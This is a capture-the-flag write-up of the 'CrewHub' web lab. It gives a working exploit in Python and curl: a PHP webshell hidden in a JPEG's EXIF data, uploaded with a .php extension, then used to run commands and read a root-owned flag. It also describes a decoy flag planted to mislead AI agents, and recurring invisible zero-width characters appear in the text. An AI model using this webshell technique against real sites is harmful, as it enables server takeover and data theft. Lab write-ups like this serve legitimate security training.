← Back to Writeups
CUSTOMMediumWeb

Lab 307 — CrewHub — File Upload RCE via Polyglot JPG/PHP

XESXOR9/2/20264 min read
#web#custom#medium#decoy_flag_identification#file_extension_bypass#gd_library_content_validation_#jpeg_php_polyglot_via_exif#php_webshell_upload

Lab 307 — CrewHub — File Upload RCE via Polyglot JPG/PHP

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_identification, file_extension_bypass, gd_library_content_validation_bypass, jpeg_php_polyglot_via_exif, php_webshell_upload

Summary

Walkthrough of the CUSTOM Web Lab 307 — CrewHub — File Upload RCE via Polyglot JPG/PHP. Task: PHP project management app with avatar upload validated by GD library, but preserving original file extension and not stripping EXIF data. Solution: craft a polyglot JPG/PHP with a webshell in E

Description

CrewHub is a project management platform where teams organize tasks, track milestones, and collaborate across projects. Users can create projects, assign tasks to team members, and customize their profiles. The application provides a full-featured dashboard with Kanban-style project boards, team directory, and user profile settings. One of the profile settings features allows users to upload a custom avatar image. The server implements content-based validation to ensure uploaded files are genuine images. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: https://526d97fc-af9c-40c1-84f8-e44eb8380b53.labs.hackadvisor.io/ Credentials: user@test.com / password123

Objective: Find a weakness in the file upload mechanism and leverage it to read the flag stored on the server.

Analysis

Reconnaissance

  • Logged in with provided credentials via POST to /login
  • Server stack: PHP 8.2.26 on nginx/1.25.5
  • Profile page at /profile has an avatar upload form (POST /profile, enctype="multipart/form-data")
  • HTML comment reveals: "server validates image content using GD library for security"
  • Current avatar path: /uploads/avatar_3_default.jpg — naming pattern is avatar_{user_id}_{identifier}.{ext}
  • The app contained a decoy/honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and hidden divs, designed to trick automated scanners and AI agents — correctly identified and ignored ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Identification

Three critical weaknesses combine to enable RCE:

  1. Extension preservation: The server preserves the original file extension from the upload filename. Uploading a file named shell.php results in it being saved as avatar_3_XXXXX.php
  2. PHP execution in uploads directory: PHP-FPM/nginx is configured to execute .php files in the /uploads/ directory (confirmed by X-Powered-By: PHP/8.2.26 header and Content-Type: text/html response)
  3. EXIF data not stripped: While GD library validates the image is genuine, it does NOT strip EXIF metadata during processing — PHP code embedded in EXIF fields survives validation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The GD library validation ensures the uploaded file contains genuine image data (magic bytes, valid JPEG structure), so simply uploading a raw PHP file would fail. However, a polyglot file that is simultaneously a valid JPEG and contains PHP code in its EXIF metadata bypasses this check entirely.

Solution

Step 1: Craft the Polyglot JPG/PHP

Create a valid JPEG image with a PHP webshell embedded in the EXIF ImageDescription field:

python
#!/usr/bin/env python3
from PIL import Image
import piexif
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Create a valid 100x100 red JPEG image
img = Image.new('RGB', (100, 100), color='red')

# Embed PHP webshell in EXIF ImageDescription field
exif_dict = {'0th': {}, 'Exif': {}, 'GPS': {}, '1st': {}, 'thumbnail': None}
php_payload = '<?php system($_GET["cmd"]); ?>'
exif_dict['0th'][piexif.ImageIFD.ImageDescription] = php_payload.encode()
exif_bytes = piexif.dump(exif_dict)

# Save as valid JPEG with embedded PHP
img.save('exif_shell.jpg', 'JPEG', exif=exif_bytes, quality=95)

This creates a file that is simultaneously:

  • A valid JPEG image (passes GD library validation — correct magic bytes, valid JFIF/EXIF structure)
  • Contains executable PHP code in the EXIF data (the <?php ... ?> tags are embedded in binary EXIF but still parseable by PHP interpreter) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Upload with .php Extension

Upload the polyglot file with a .php extension while keeping the MIME type as image/jpeg:

bash
curl -sk -b cookies.txt -X POST "$TARGET/profile" \
  -F "avatar=@exif_shell.jpg;filename=shell.php;type=image/jpeg"

The server processing chain:

  1. Checked Content-Type: image/jpeg ✓
  2. Validated image content with GD library (valid JPEG) ✓
  3. Saved the file with the original .php extension as avatar_3_1778236796.php

Step 3: Achieve RCE

When nginx serves the uploaded file with .php extension, PHP-FPM parses it. The PHP interpreter scans the entire file content (including binary JPEG data) for <?php ... ?> tags, finds the payload in the EXIF data, and executes it: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# Verify RCE — running as root
curl -sk "$TARGET/uploads/avatar_3_1778236796.php?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)...

# Find the flag file
curl -sk "$TARGET/uploads/avatar_3_1778236796.php?cmd=find+/+-name+*flag*+-type+f+2>/dev/null"
# /root/flag.txt

# Read the flag
curl -sk "$TARGET/uploads/avatar_3_1778236796.php?cmd=cat+/root/flag.txt"
# FLAG{REDACTED}

Why This Works

  • GD library validates image structure (headers, dimensions, color data) but does not sanitize EXIF metadata fields — PHP code in ImageDescription survives validation
  • nginx/PHP-FPM routes any .php file to the PHP interpreter, including files in /uploads/ — there is no extension whitelist or directory-level execution restriction
  • PHP interpreter scans the entire file for <?php opening tags regardless of surrounding binary data — it finds and executes the payload embedded in EXIF
  • Server runs as root (uid=0), so the webshell has full filesystem access including /root/flag.txt ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_identification, file_extension_bypass, gd_library_content_validation_bypass, jpeg_php_polyglot_via_exif, php_webshell_upload was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 307 — CrewHub — File Upload RCE via Polyglot JPG/PHP • Difficulty: Medium